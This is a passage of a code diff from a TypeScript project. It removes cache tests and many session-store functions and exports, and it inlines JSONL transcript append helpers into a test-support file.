- algorithm: "sha256", - bytes: Buffer.byteLength(prompt, "utf8"), - }); + const parsed = JSON.parse(await fs.readFile(storePath, "utf-8")) as Record< + string, + SessionEntry + >; + const firstRef = parsed["agent:main:test:1"]?.skillsSnapshot?.promptRef; + const secondRef = parsed["agent:main:test:2"]?.skillsSnapshot?.promptRef; + expect(firstRef).toBeDefined(); expect(secondRef).toEqual(firstRef); expect(parsed["agent:main:test:1"]?.skillsSnapshot?.prompt).toBeUndefined(); + if (!firstRef) { + throw new Error("expected prompt ref"); + } const blobPath = path.join( testDir, @@ -216,40 +211,6 @@ describe("session store strips resolvedSkills from persistence", () => { `${firstRef.hash}.txt`, ); expect(await fs.readFile(blobPath, "utf-8")).toBe(prompt); - expect(getSessionSkillPromptRefCacheStatsForTest().entries).toBe(1); - }); - - it("clears cached prompt refs with the session store caches", async () => { - const prompt = `\n${"clear cache prompt\n".repeat(200)}`; - await saveSessionStore( - storePath, - { - "agent:main:test:1": makeEntry("session-1", makeSnapshotWithPrompt(prompt)), - }, - { skipMaintenance: true }, - ); - expect(getSessionSkillPromptRefCacheStatsForTest().entries).toBe(1); - - clearSessionStoreCacheForTest(); - - expect(getSessionSkillPromptRefCacheStatsForTest().entries).toBe(0); - }); - - it("bounds cached prompt refs for distinct large skills prompts", async () => { - const entries = Object.fromEntries( - Array.from({ length: 260 }, (_, index) => { - const prompt = `\n${`bounded prompt ${index}\n`.repeat(200)}`; - return [ - `agent:main:test:${index}`, - makeEntry(`session-${index}`, makeSnapshotWithPrompt(prompt)), - ]; - }), - ); - - await saveSessionStore(storePath, entries, { skipMaintenance: true }); - - const stats = getSessionSkillPromptRefCacheStatsForTest(); - expect(stats.entries).toBe(stats.maxEntries); }); it("hydrates content-addressed skills prompt blobs on load", async () => { @@ -322,42 +283,6 @@ describe("session store strips resolvedSkills from persistence", () => { expect(await fs.readFile(blobPath, "utf-8")).toBe(prompt); }); - it("caches validated prompt blobs but still notices deletion", async () => { - const prompt = `\n${"cached prompt\n".repeat(200)}`; - await saveSessionStore( - storePath, - { - "agent:main:test:1": makeEntry("session-1", makeSnapshotWithPrompt(prompt)), - }, - { skipMaintenance: true }, - ); - const raw = JSON.parse(await fs.readFile(storePath, "utf-8")) as Record; - const ref = raw["agent:main:test:1"]?.skillsSnapshot?.promptRef; - if (!ref) { - throw new Error("expected prompt ref"); - } - - clearSessionStoreCacheForTest(); - - expect(getValidSessionSkillPromptBlobCacheStatsForTest().entries).toBe(0); - expect(isSessionSkillPromptBlobReadable(storePath, ref)).toBe(true); - expect(getValidSessionSkillPromptBlobCacheStatsForTest().entries).toBe(1); - expect(isSessionSkillPromptBlobReadable(storePath, ref)).toBe(true); - expect(getValidSessionSkillPromptBlobCacheStatsForTest().entries).toBe(1); - - const blobPath = path.join( - testDir, - "skills-prompts", - "sha256", - ref.hash.slice(0, 2), - `${ref.hash}.txt`, - ); - await fs.rm(blobPath); - - expect(isSessionSkillPromptBlobReadable(storePath, ref)).toBe(false); - expect(getValidSessionSkillPromptBlobCacheStatsForTest().entries).toBe(0); - }); - it("rewrites prompt blobs when the session dir is recreated before store commit", async () => { const prompt = `\n${"recreated dir prompt\n".repeat(200)}`; const store = { diff --git a/src/config/sessions/store.ts b/src/config/sessions/store.ts index f02c139aa625..0fe3688311e6 100644 --- a/src/config/sessions/store.ts +++ b/src/config/sessions/store.ts @@ -2,32 +2,17 @@ import fs from "node:fs"; import path from "node:path"; import { expectDefined } from "@openclaw/normalization-core"; -import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; -import type { MsgContext } from "../../auto-reply/templating.js"; -import { resolveStoredSessionOwnerAgentId } from "../../gateway/session-store-key.js"; import { writeTextAtomic } from "../../infra/json-files.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; import { - isAgentHarnessSessionKey, isValidAgentHarnessSessionStoreEntry, - MODEL_SELECTION_LOCK_REMOVAL_MESSAGE, resolveAgentHarnessSessionStoreError, - resolveAgentHarnessSessionStoreEntryError, resolveAgentHarnessSessionStoreTransitionError, } from "../../sessions/agent-harness-session-key.js"; -import { emitSessionTranscriptUpdate } from "../../sessions/transcript-events.js"; import { createLazyRuntimeModule } from "../../shared/lazy-runtime.js"; -import type { DeliveryContext } from "../../utils/delivery-context.types.js"; import { getFileStatSnapshot } from "../cache-utils.js"; import type { OpenClawConfig } from "../types.openclaw.js"; -import { formatSessionArchiveTimestamp } from "./artifacts.js"; -import { - pruneUnreferencedSessionArtifacts, - type SessionUnreferencedArtifactSweepResult, -} from "./disk-budget.js"; -import { extractGeneratedTranscriptSessionId } from "./generated-transcript-session-id.js"; -import { deriveLastRoutePatch, deriveSessionMetaPatch } from "./metadata.js"; -import { resolveExplicitSessionFilePath, resolveSessionFilePath } from "./paths.js"; +import type { SessionUnreferencedArtifactSweepResult } from "./disk-budget.js"; import { resolveSessionStorePathForScope } from "./session-store-path.js"; import { ensureSessionStorePromptBlobsForPersistence, @@ -38,7 +23,6 @@ import { import { cloneSessionStoreRecord, dropSessionStoreObjectCache, - dropSessionStoreSnapshotCache, getSerializedSessionStore, getSerializedSessionStorePromptRefs, getSessionStoreCacheVersion, @@ -53,7 +37,6 @@ import { resolveSessionStoreEntry } from "./store-entry.js"; import { loadSessionStore, normalizeSessionStore, - readSessionEntries, readSessionEntry, stripPersistedSkillsCache, } from "./store-load.js"; @@ -61,12 +44,7 @@ import { applyFileBackedSessionStoreMaintenance, type SessionMaintenanceApplyReport, } from "./store-maintenance-operations.js"; -import { collectActiveSessionWorkAdmissionKeys } from "./store-maintenance-preserve.js"; -import { resolveMaintenanceConfig } from "./store-maintenance-runtime.js"; import { - capEntryCount, - getActiveSessionMaintenanceWarning, - pruneStaleModelRunEntries, pruneStaleEntries, type ResolvedSessionMaintenanceConfig, type ResolvedSessionMaintenanceConfigInput, @@ -81,23 +59,10 @@ import { } from "./types.js"; import { CURRENT_SESSION_VERSION } from "./version.js"; -export { - clearSessionStoreCacheForTest, - drainSessionStoreWriterQueuesForTest, - getSessionStoreWriterQueueSizeForTest, -} from "./store-writer-state.js"; -export { - loadSessionStore, - readSessionEntries, - readSessionEntry, - readSessionStoreSnapshot, -} from "./store-load.js"; -export type { - SessionStoreSnapshot, - SessionStoreSnapshotEntries, - SessionStoreSnapshotEntry, -} from "./store-cache.js"; -export { normalizeStoreSessionKey, resolveSessionStoreEntry } from "./store-entry.js"; +export { clearSessionStoreCacheForTest } from "./store-writer-state.js"; +export { loadSessionStore, readSessionEntry } from "./store-load.js"; + +export { resolveSessionStoreEntry } from "./store-entry.js"; const log = createSubsystemLogger("sessions/store"); const writerStoreFileStats = new WeakMap< @@ -138,20 +103,9 @@ export function readSessionUpdatedAt(params: { // Session Store Pruning, Capping & File Rotation // ============================================================================ -export { - capEntryCount, - getActiveSessionMaintenanceWarning, - getSessionStoreCacheVersion, - pruneStaleModelRunEntries, - pruneStaleEntries, - resolveMaintenanceConfig, -}; -export type { SessionMaintenanceApplyReport } from "./store-maintenance-operations.js"; -export type { - ResolvedSessionMaintenanceConfig, - ResolvedSessionMaintenanceConfigInput, - SessionMaintenanceWarning, -}; +export { getSessionStoreCacheVersion, pruneStaleEntries }; + +export type { ResolvedSessionMaintenanceConfigInput }; type SaveSessionStoreOptions = { /** Skip pruning, capping, and rotation (e.g. during one-time migrations). */ @@ -393,18 +347,6 @@ export function getSessionEntry( }) as SessionEntry | undefined; return entry ? cloneSessionEntry(entry) : undefined; } - -export function listSessionEntries( - options: SessionEntryWorkflowOptions = {}, -): Array<{ sessionKey: string; entry: SessionEntry }> { - return readSessionEntries(resolveSessionStorePathForScope(options)).map( - ([sessionKey, entry]) => ({ - sessionKey, - entry: cloneSessionEntry(entry as SessionEntry), - }), - ); -} - function updateSessionStoreWriteCaches(params: { storePath: string; store: Record; @@ -422,7 +364,6 @@ function updateSessionStoreWriteCaches(params: { ); if (!isSessionStoreCacheEnabled()) { dropSessionStoreObjectCache(params.storePath); - dropSessionStoreSnapshotCache(params.storePath); return; } writeSessionStoreCache({ @@ -435,7 +376,6 @@ function updateSessionStoreWriteCaches(params: { cloneSerialized: params.cloneSerialized, takeOwnership: params.takeOwnership, }); - dropSessionStoreSnapshotCache(params.storePath); } function restoreUnchangedSessionStoreCache( @@ -793,77 +733,6 @@ function normalizePathForLifecycleComparison(filePath: string): string { return path.normalize(path.resolve(filePath)); } } - -function sessionKeySegmentStartsWith(sessionKey: string, prefix: string): boolean { - const firstSeparator = sessionKey.indexOf(":"); - if (firstSeparator < 0) { - return sessionKey.startsWith(prefix); - } - const secondSeparator = sessionKey.indexOf(":", firstSeparator + 1); - const sessionSegment = secondSeparator < 0 ? sessionKey : sessionKey.slice(secondSeparator + 1); - return sessionSegment.startsWith(prefix); -} - -function resolveLifecycleTranscriptPath(params: { - entry: SessionEntry | undefined; - sessionsDir: string; -}): string | null { - const sessionId = params.entry?.sessionId?.trim(); - const sessionFile = params.entry?.sessionFile?.trim(); - const generatedSessionId = extractGeneratedTranscriptSessionId(sessionFile); - if (sessionFile && (!sessionId || !generatedSessionId || generatedSessionId === sessionId)) { - try { - return resolveExplicitSessionFilePath(sessionFile, { sessionsDir: params.sessionsDir }); - } catch { - return null; - } - } - if (!sessionId) { - return null; - } - try { - return resolveSessionFilePath(sessionId, undefined, { sessionsDir: params.sessionsDir }); - } catch { - return null; - } -} - -function lifecycleTranscriptIsReclaimable(params: { - transcriptPath: string | null; - nowMs: number; - orphanTranscriptMinAgeMs: number; -}): boolean { - if (!params.transcriptPath || !fs.existsSync(params.transcriptPath)) { - return true; - } - try { - const stat = fs.statSync(params.transcriptPath); - return params.nowMs - stat.mtimeMs >= params.orphanTranscriptMinAgeMs; - } catch { - return true; - } -} - -function archiveExactLifecycleTranscriptPath(params: { - sessionsDir: string; - transcriptPath: string; -}): number { - const resolvedSessionsDir = normalizePathForLifecycleComparison(params.sessionsDir); - const resolvedTranscriptPath = normalizePathForLifecycleComparison(params.transcriptPath); - const relative = path.relative(resolvedSessionsDir, resolvedTranscriptPath); - if (!relative || relative.startsWith("..") || path.isAbsolute(relative)) { - return 0; - } - const archivedPath = `${resolvedTranscriptPath}.deleted.${formatSessionArchiveTimestamp()}`; - try { - fs.renameSync(resolvedTranscriptPath, archivedPath); - emitSessionTranscriptUpdate({ sessionFile: archivedPath }); - return 1; - } catch { - return 0; - } -} - async function saveSessionStoreUnlocked( storePath: string, store: Record, @@ -1342,459 +1211,13 @@ export async function deleteSessionEntryLifecycle( return await deleteSessionEntryLifecycleInternal(params, false); } -/** - * Rolls back the exact locked row created by a failed trusted harness initialization. - * This stays separate from public deletion so the lock-removal capability cannot leak. - */ -export async function rollbackAgentHarnessSessionEntryLifecycle( - params: DeleteSessionEntryLifecycleParams & { expectedEntry: SessionEntry }, -): Promise { - const hasExactTarget = - params.target.storeKeys.length === 1 && - params.target.storeKeys[0] === params.target.canonicalKey; - const expectedEntryError = resolveAgentHarnessSessionStoreEntryError( - params.target.canonicalKey, - params.expectedEntry, - ); - if ( - !hasExactTarget || - expectedEntryError || - !isValidAgentHarnessSessionStoreEntry(params.target.canonicalKey, params.expectedEntry) - ) { - throw new Error(expectedEntryError ?? MODEL_SELECTION_LOCK_REMOVAL_MESSAGE); - } - return await deleteSessionEntryLifecycleInternal(params, true); -} - -/** Rolls back the exact locked CLI row created by a failed plugin initializer. */ -export async function rollbackPluginOwnedSessionEntryLifecycle( - params: DeleteSessionEntryLifecycleParams & { - expectedEntry: SessionEntry; - expectedPluginOwnerId: string; - }, -): Promise { - const expectedEntry = params.expectedEntry; - const validPluginOwner = normalizeOptionalString(expectedEntry.pluginOwnerId); - const expectedPluginOwner = normalizeOptionalString(params.expectedPluginOwnerId); - if ( - isAgentHarnessSessionKey(params.target.canonicalKey) || - expectedEntry.agentHarnessId !== undefined || - expectedEntry.modelSelectionLocked !== true || - !validPluginOwner || - validPluginOwner !== expectedPluginOwner - ) { - throw new Error(MODEL_SELECTION_LOCK_REMOVAL_MESSAGE); - } - return await deleteSessionEntryLifecycleInternal(params, true, expectedPluginOwner); -} - -function shouldRemoveSessionEntry( - entry: SessionEntry | undefined, - removal: SessionEntryLifecycleRemoval, -): entry is SessionEntry { - if (!entry) { - return false; - } - if ( - removal.expectedEntry !== undefined && - JSON.stringify(entry) !== JSON.stringify(removal.expectedEntry) - ) { - return false; - } - if (removal.expectedSessionId !== undefined && entry.sessionId !== removal.expectedSessionId) { - return false; - } - if ( - removal.expectedLifecycleRevision !== undefined && - entry.lifecycleRevision !== removal.expectedLifecycleRevision - ) { - return false; - } - if (removal.expectedUpdatedAt !== undefined && entry.updatedAt !== removal.expectedUpdatedAt) { - return false; - } - return true; -} - -/** - * Applies exact entry removals/upserts and lifecycle artifact cleanup as one - * backend-owned operation. Callers choose domain keys; storage owns the final - * referenced-session set used for transcript/artifact cleanup. - */ -export async function applySessionEntryLifecycleMutation(params: { - storePath: string; - removals?: Iterable; - upserts?: Iterable; - activeSessionKey?: string; - maintenanceOverride?: Partial; - skipMaintenance?: boolean; - preserveActiveWork?: boolean; - archiveReason?: "deleted" | "reset"; - restrictArchivedTranscriptsToStoreDir?: boolean; - cleanupArchivedTranscripts?: { - rules: SessionArchivedTranscriptCleanupRule[]; - nowMs?: number; - }; - pruneUnreferencedArtifacts?: { - olderThanMs: number; - dryRun?: boolean; - }; - captureArtifactCleanupError?: boolean; -}): Promise { - const storePath = path.resolve(params.storePath); - const removedSessionFiles = new Map(); - const removedSessionKeys: string[] = []; - const archivedTranscriptDirectories: string[] = []; - let unreferencedArtifacts: SessionUnreferencedArtifactSweepResult | null = null; - let maintenanceReport: SessionMaintenanceApplyReport | null = null; - let afterCount = 0; - let artifactCleanupError: unknown; - - await runExclusiveSessionStoreWrite(storePath, async () => { - const store = loadMutableSessionStoreForWriter(storePath); - const activeWorkKeys = - params.preserveActiveWork === true - ? collectActiveSessionWorkAdmissionKeys({ storePath, store }) - : undefined; - for (const removal of params.removals ?? []) { - const sessionKey = removal.sessionKey.trim(); - if (!sessionKey || activeWorkKeys?.has(sessionKey)) { - continue; - } - const entry = store[sessionKey]; - if (!shouldRemoveSessionEntry(entry, removal)) { - continue; - } - if (removal.archiveRemovedTranscript === true && entry.sessionId) { - rememberRemovedSessionFile(removedSessionFiles, entry); - } - delete store[sessionKey]; - removedSessionKeys.push(sessionKey); - } - for (const upsert of params.upserts ?? []) { - const sessionKey = upsert.sessionKey.trim(); - if (!sessionKey) { - continue; - } - const entry = - upsert.buildEntry === undefined - ? upsert.entry - : await upsert.buildEntry({ - currentEntry: store[sessionKey] ? cloneSessionEntry(store[sessionKey]) : undefined, - sessionKey, - store, - }); - if (!entry) { - continue; - } - store[sessionKey] = cloneSessionEntry(entry); - } - - await saveSessionStoreUnlocked(storePath, store, { - activeSessionKey: params.activeSessionKey, - maintenanceOverride: params.maintenanceOverride, - skipMaintenance: params.skipMaintenance, - onMaintenanceApplied: (report) => { - maintenanceReport = report; - }, - }); - afterCount = Object.keys(store).length; - - const cleanupArtifacts = async () => { - const referencedSessionIds = new Set( - Object.values(store) - .map((entry) => entry?.sessionId) - .filter((sessionId): sessionId is string => Boolean(sessionId)), - ); - if (removedSessionFiles.size > 0) { - const archivedDirs = await archiveRemovedSessionTranscripts({ - removedSessionFiles, - referencedSessionIds, - storePath, - reason: params.archiveReason ?? "deleted", - restrictToStoreDir: params.restrictArchivedTranscriptsToStoreDir, - }); - archivedTranscriptDirectories.push(...[...archivedDirs].toSorted()); - if (archivedDirs.size > 0 && params.cleanupArchivedTranscripts) { - const { cleanupArchivedSessionTranscripts } = await loadSessionArchiveRuntime(); - await cleanupArchivedSessionTranscripts({ - directories: [...archivedDirs], - rules: params.cleanupArchivedTranscripts.rules, - nowMs: params.cleanupArchivedTranscripts.nowMs, - }); - } - } - if (params.pruneUnreferencedArtifacts) { - unreferencedArtifacts = await pruneUnreferencedSessionArtifacts({ - store, - storePath, - olderThanMs: params.pruneUnreferencedArtifacts.olderThanMs, - dryRun: params.pruneUnreferencedArtifacts.dryRun, - }); - } - }; - - try { - await cleanupArtifacts(); - } catch (err) { - if (params.captureArtifactCleanupError === true) { - artifactCleanupError = err; - } else { - throw err; - } - } - }); - - return { - removedEntries: removedSessionKeys.length, - removedSessionKeys, - archivedTranscriptDirectories, - unreferencedArtifacts, - maintenanceReport, - afterCount, - artifactCleanupError, - }; -} - -/** - * Purges entries owned by a deleted agent while holding the store writer lock. - * This preserves the old delete-time current-store owner check without - * exposing a mutable whole-store callback to callers. - */ -export async function purgeDeletedAgentSessionEntries( - params: DeletedAgentSessionEntryPurgeParams, -): Promise { - const storePath = path.resolve(params.storePath); - const removedSessionKeys: string[] = []; - let maintenanceReport: SessionMaintenanceApplyReport | null = null; - let afterCount = 0; - - await runExclusiveSessionStoreWrite(storePath, async () => { - const store = loadMutableSessionStoreForWriter(storePath); - const allowedLockedEntryRemovals = new Map(); - for (const sessionKey of Object.keys(store)) { - const ownerAgentId = resolveStoredSessionOwnerAgentId({ - cfg: params.cfg, - agentId: params.storeAgentId, - sessionKey, - }); - if (ownerAgentId === params.agentId) { - const entry = store[sessionKey]; - if (entry?.modelSelectionLocked === true) { - allowedLockedEntryRemovals.set(sessionKey, cloneSessionEntry(entry)); - } - delete store[sessionKey]; - removedSessionKeys.push(sessionKey); - } - } - await saveSessionStoreUnlocked( - storePath, - store, - { - onMaintenanceApplied: (report) => { - maintenanceReport = report; - }, - }, - { allowedLockedEntryRemovals }, - ); - afterCount = Object.keys(store).length; - }); - - return { - removedEntries: removedSessionKeys.length, - removedSessionKeys, - archivedTranscriptDirectories: [], - unreferencedArtifacts: null, - maintenanceReport, - afterCount, - }; -} - -async function archiveUnreferencedLifecycleTranscriptArtifacts(params: { - storePath: string; - transcriptContentMarker: string; - orphanTranscriptMinAgeMs: number; - nowMs: number; -}): Promise { - const sessionsDir = path.dirname(path.resolve(params.storePath)); - return await runExclusiveSessionStoreWrite(params.storePath, async () => { - const store = loadMutableSessionStoreForWriter(params.storePath); - const referencedTranscriptPaths = new Set(); - for (const entry of Object.values(store)) { - const transcriptPath = resolveLifecycleTranscriptPath({ entry, sessionsDir }); - if (transcriptPath) { - referencedTranscriptPaths.add(normalizePathForLifecycleComparison(transcriptPath)); - } - } - restoreUnchangedSessionStoreCache(params.storePath, store); - - let entries: fs.Dirent[]; - try { - entries = await fs.promises.readdir(sessionsDir, { withFileTypes: true }); - } catch { - return 0; - } - - const { archiveSessionTranscripts } = await loadSessionArchiveRuntime(); - let archived = 0; - // Only archive primary transcripts that are no longer referenced by the - // current store and still carry the lifecycle marker supplied by the caller. - for (const entry of entries) { - if (!entry.isFile() || !entry.name.endsWith(".jsonl")) { - continue; - } - const transcriptPath = path.join(sessionsDir, entry.name); - if (referencedTranscriptPaths.has(normalizePathForLifecycleComparison(transcriptPath))) { - continue; - } - let stat: fs.Stats; - try { - stat = await fs.promises.stat(transcriptPath); - } catch { - continue; - } - if (params.nowMs - stat.mtimeMs < params.orphanTranscriptMinAgeMs) { - continue; - } - let content: string; - try { - content = await fs.promises.readFile(transcriptPath, "utf-8"); - } catch { - continue; - } - if (!content.includes(params.transcriptContentMarker)) { - continue; - } - const sessionId = entry.name.slice(0, -".jsonl".length); - archived += archiveSessionTranscripts({ - sessionId, - storePath: params.storePath, - sessionFile: transcriptPath, - reason: "deleted", - restrictToStoreDir: true, - }).length; - } - return archived; - }); -} - -/** Cleans scoped session lifecycle entries and their unreferenced transcript artifacts. */ -export async function cleanupSessionLifecycleArtifacts( - params: SessionLifecycleArtifactCleanupParams, -): Promise { - const sessionKeySegmentPrefix = params.sessionKeySegmentPrefix.trim(); - const transcriptContentMarker = params.transcriptContentMarker; - if (!sessionKeySegmentPrefix || !transcriptContentMarker) { - return { removedEntries: 0, archivedTranscriptArtifacts: 0 }; - } - - const nowMs = params.nowMs ?? Date.now(); - const storePath = path.resolve(params.storePath); - const sessionsDir = path.dirname(storePath); - const removedSessionFiles = new Map(); - const removedTranscriptPaths: Array<{ sessionId: string; transcriptPath: string }> = []; - const archiveRemovedEntryTranscripts = params.archiveRemovedEntryTranscripts !== false; - let removedEntries = 0; - let archivedTranscriptArtifacts = 0; - - await runExclusiveSessionStoreWrite(storePath, async () => { - const mutableStore = loadMutableSessionStoreForWriter(storePath); - const store = cloneSessionEntries(mutableStore); - // Delete only rows owned by the named lifecycle. Orphan transcript cleanup - // reacquires this writer lock later so its reference set cannot go stale. - for (const [sessionKey, entry] of Object.entries(store)) { - const transcriptPath = resolveLifecycleTranscriptPath({ entry, sessionsDir }); - const matchesLifecycle = sessionKeySegmentStartsWith(sessionKey, sessionKeySegmentPrefix); - if ( - matchesLifecycle && - lifecycleTranscriptIsReclaimable({ - transcriptPath, - nowMs, - orphanTranscriptMinAgeMs: params.orphanTranscriptMinAgeMs, - }) - ) { - if (archiveRemovedEntryTranscripts) { - rememberRemovedSessionFile(removedSessionFiles, entry); - if (entry.sessionId && transcriptPath && fs.existsSync(transcriptPath)) { - removedTranscriptPaths.push({ sessionId: entry.sessionId, transcriptPath }); - } - } - delete store[sessionKey]; - removedEntries += 1; - continue; - } - } - - // Reject protected-row cleanup before archiving transcripts or removing - // trajectory artifacts; persistence-time validation is too late for those side effects. - assertLockedSessionEntriesPreserved({ - before: writerLockedSessionEntries.get(mutableStore), - store, - }); - assertValidAgentHarnessSessionEntries(store); - - if (removedEntries === 0) { - restoreUnchangedSessionStoreCache(storePath, mutableStore); - return; - } - - const referencedSessionIds = new Set( - Object.values(store) - .map((entry) => entry?.sessionId) - .filter((sessionId): sessionId is string => Boolean(sessionId)), - ); - // Archive only the exact transcript path that passed the age/missing guard. - // Broader session-id candidate scans can include fresh sibling transcripts. - for (const { sessionId: removedSessionId, transcriptPath } of removedTranscriptPaths) { - if (referencedSessionIds.has(removedSessionId)) { - continue; - } - archivedTranscriptArtifacts += archiveExactLifecycleTranscriptPath({ - sessionsDir, - transcriptPath, - }); - } - const { removeRemovedSessionTrajectoryArtifacts } = await loadTrajectoryCleanupRuntime(); - await removeRemovedSessionTrajectoryArtifacts({ - removedSessionFiles, - referencedSessionIds, - storePath, - restrictToStoreDir: true, - }); - replaceSessionEntries(mutableStore, store); - await saveSessionStoreUnlocked(storePath, mutableStore, { skipMaintenance: true }); - }); - - return { - removedEntries, - archivedTranscriptArtifacts: - archivedTranscriptArtifacts + - (await archiveUnreferencedLifecycleTranscriptArtifacts({ - storePath, - transcriptContentMarker, - orphanTranscriptMinAgeMs: params.orphanTranscriptMinAgeMs, - nowMs, - })), - }; -} - function getErrorCode(error: unknown): string | null { if (!error || typeof error !== "object" || !("code" in error)) { return null; } return String((error as { code?: unknown }).code); } - -function rememberRemovedSessionFile( - removedSessionFiles: Map, - entry: SessionEntry, -): void { - if (!removedSessionFiles.has(entry.sessionId) || entry.sessionFile) { - removedSessionFiles.set(entry.sessionId, entry.sessionFile); - } -} - -export async function archiveRemovedSessionTranscripts(params: { +async function archiveRemovedSessionTranscripts(params: { removedSessionFiles: Iterable<[string, string | undefined]>; referencedSessionIds: ReadonlySet; storePath: string; @@ -1937,13 +1360,6 @@ type SessionEntryPatchParams = SessionEntryWorkflowOptions & { context: { existingEntry?: SessionEntry }, ) => Promise | null> | Partial | null; }; - -export async function patchSessionEntry( - params: SessionEntryPatchParams, -): Promise { - return (await patchSessionEntryWithKey(params))?.entry ?? null; -} - export async function patchSessionEntryWithKey( params: SessionEntryPatchParams, ): Promise<{ sessionKey: string; entry: SessionEntry } | null> { @@ -1982,131 +1398,3 @@ export async function patchSessionEntryWithKey( }; }); } - -export async function upsertSessionEntry( - params: SessionEntryWorkflowOptions & { - sessionKey: string; - entry: SessionEntry; - }, -): Promise { - const storePath = resolveSessionStorePathForScope(params); - await runExclusiveSessionStoreWrite(storePath, async () => { - const store = loadMutableSessionStoreForWriter(storePath); - const resolved = resolveSessionStoreEntry({ store, sessionKey: params.sessionKey }); - const next = cloneSessionEntry(params.entry); - await persistResolvedSessionEntry({ - storePath, - store, - resolved, - next, - takeCacheOwnership: true, - }); - }); -} - -export async function recordSessionMetaFromInbound(params: { - storePath: string; - sessionKey: string; - ctx: MsgContext; - groupResolution?: import("./types.js").GroupKeyResolution | null; - createIfMissing?: boolean; -}): Promise { - const { storePath, sessionKey, ctx } = params; - const createIfMissing = params.createIfMissing ?? true; - return await runExclusiveSessionStoreWrite(storePath, async () => { - const store = loadMutableSessionStoreForWriter(storePath); - const resolved = resolveSessionStoreEntry({ store, sessionKey }); - const existing = resolved.existing; - const patch = deriveSessionMetaPatch({ - ctx, - sessionKey: resolved.normalizedKey, - existing, - groupResolution: params.groupResolution, - }); - if (!patch) { - if (existing && resolved.legacyKeys.length > 0) { - return await persistResolvedSessionEntry({ - storePath, - store, - resolved, - next: existing, - takeCacheOwnership: true, - returnDetached: true, - }); - } - await saveSessionStoreUnlocked(storePath, store, { - activeSessionKey: resolved.normalizedKey, - skipSerializeForUnchangedStore: true, - }); - return existing ? cloneSessionEntry(existing) : null; - } - if (!existing && !createIfMissing) { - await saveSessionStoreUnlocked(storePath, store, { - activeSessionKey: resolved.normalizedKey, - skipSerializeForUnchangedStore: true, - }); - return null; - } - const next = existing - ? // Inbound metadata updates must not refresh activity timestamps; - // idle reset evaluation relies on updatedAt from actual session turns. - mergeSessionEntryPreserveActivity(existing, patch) - : mergeSessionEntry(existing, patch); - return await persistResolvedSessionEntry({ - storePath, - store, - resolved, - next, - takeCacheOwnership: true, - returnDetached: true, - }); - }); -} - -export async function updateLastRoute(params: { - storePath: string; - sessionKey: string; - channel?: SessionEntry["lastChannel"]; - to?: string; - accountId?: string; - threadId?: string | number; - route?: SessionEntry["route"]; - deliveryContext?: DeliveryContext; - ctx?: MsgContext; - groupResolution?: import("./types.js").GroupKeyResolution | null; - createIfMissing?: boolean; -}): Promise { - const { storePath, sessionKey, channel, to, accountId, threadId, ctx } = params; - const createIfMissing = params.createIfMissing ?? true; - return await runExclusiveSessionStoreWrite(storePath, async () => { - const store = loadMutableSessionStoreForWriter(storePath); - const resolved = resolveSessionStoreEntry({ store, sessionKey }); - const existing = resolved.existing; - if (!existing && !createIfMissing) { - return null; - } - const patch = deriveLastRoutePatch({ - channel, - to, - accountId, - threadId, - route: params.route, - deliveryContext: params.deliveryContext, - ctx, - groupResolution: params.groupResolution, - existing, - sessionKey: resolved.normalizedKey, - }); - // Route updates must not refresh activity timestamps; idle/daily reset - // evaluation relies on updatedAt from actual session turns (#49515). - const next = mergeSessionEntryPreserveActivity(existing, patch); - return await persistResolvedSessionEntry({ - storePath, - store, - resolved, - next, - takeCacheOwnership: true, - returnDetached: true, - }); - }); -} diff --git a/src/config/sessions/transcript-append.test-support.ts b/src/config/sessions/transcript-append.test-support.ts index 80b4fdeba341..3e31d589ce83 100644 --- a/src/config/sessions/transcript-append.test-support.ts +++ b/src/config/sessions/transcript-append.test-support.ts @@ -14,26 +14,53 @@ import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { redactSecrets } from "../../logging/redact.js"; import { isTranscriptOnlyOpenClawAssistantMessage } from "../../shared/transcript-only-openclaw-assistant.js"; import { createSessionTranscriptHeader } from "./transcript-header.js"; -import { - appendJsonlEntry, - appendSerializedJsonlEntry, - serializeJsonlEntry, - serializeJsonlLine, - writeJsonlEntry, - writeJsonlLines, -} from "./transcript-jsonl.js"; +import { serializeJsonlEntry, serializeJsonlLine, writeJsonlLines } from "./transcript-jsonl.js"; import { streamSessionTranscriptLines, streamSessionTranscriptLinesReverse, } from "./transcript-stream.js"; import { isCanonicalSessionTranscriptEntry } from "./transcript-tree.js"; -import { resolveOwnedSessionTranscriptWriteLockRunner } from "./transcript-write-context.js"; import { CURRENT_SESSION_VERSION } from "./version.js"; const SESSION_MANAGER_APPEND_MAX_BYTES = 8 * 1024 * 1024; const transcriptAppendQueue = new KeyedAsyncQueue(); +async function writeJsonlEntry( + filePath: string, + entry: unknown, + options?: { encoding?: BufferEncoding; flag?: string; mode?: number }, +): Promise { + await fs.writeFile(filePath, serializeJsonlEntry(entry), { + encoding: options?.encoding ?? "utf-8", + ...(options?.flag ? { flag: options.flag } : {}), + ...(options?.mode !== undefined ? { mode: options.mode } : {}), + }); +} + +async function appendSerializedJsonlEntry( + filePath: string, + serializedEntry: string, +): Promise { + const handle = await fs.open(filePath, "a+", 0o600); + try { + const stat = await handle.stat(); + let prefixNewline = false; + if (stat.size > 0) { + const lastByte = Buffer.allocUnsafe(1); + const { bytesRead } = await handle.read(lastByte, 0, 1, stat.size - 1); + prefixNewline = bytesRead === 1 && lastByte[0] !== 0x0a; + } + await handle.appendFile(`${prefixNewline ? "\n" : ""}${serializedEntry}`, "utf-8"); + } finally { + await handle.close(); + } +} + +async function appendJsonlEntry(filePath: string, entry: unknown): Promise { + await appendSerializedJsonlEntry(filePath, serializeJsonlEntry(entry)); +} + type TranscriptLeafInfo = { leafId?: string; appendMode: "active" | "side"; @@ -442,65 +469,11 @@ export async function appendSessionTranscriptMessage( export async function appendSessionTranscriptMessage( params: AppendSessionTranscriptMessageParams, ): Promise | undefined> { - const activeLockRunner = resolveOwnedSessionTranscriptWriteLockRunner({ - sessionFile: params.transcriptPath, - }); - if (activeLockRunner) { - // Active prompt-stream writes must acquire the session lock before joining - // the append FIFO; otherwise a hook that already owns the lock can deadlock - // behind the prompt append it is blocking. - let publishedHeader: string | undefined; - return await activeLockRunner( - () => - withSessionTranscriptAppendQueue(params.transcriptPath, () => - appendSessionTranscriptMessageLocked({ - ...params, - onHeaderCreated: (header) => { - publishedHeader = header; - }, - }), - ), - { - publishOwnedWrite: true, - resolvePublishedEntries: (result) => [ - ...(publishedHeader ? [{ kind: "header" as const, serialized: publishedHeader }] : []), - ...(result?.appended === true ? [{ kind: 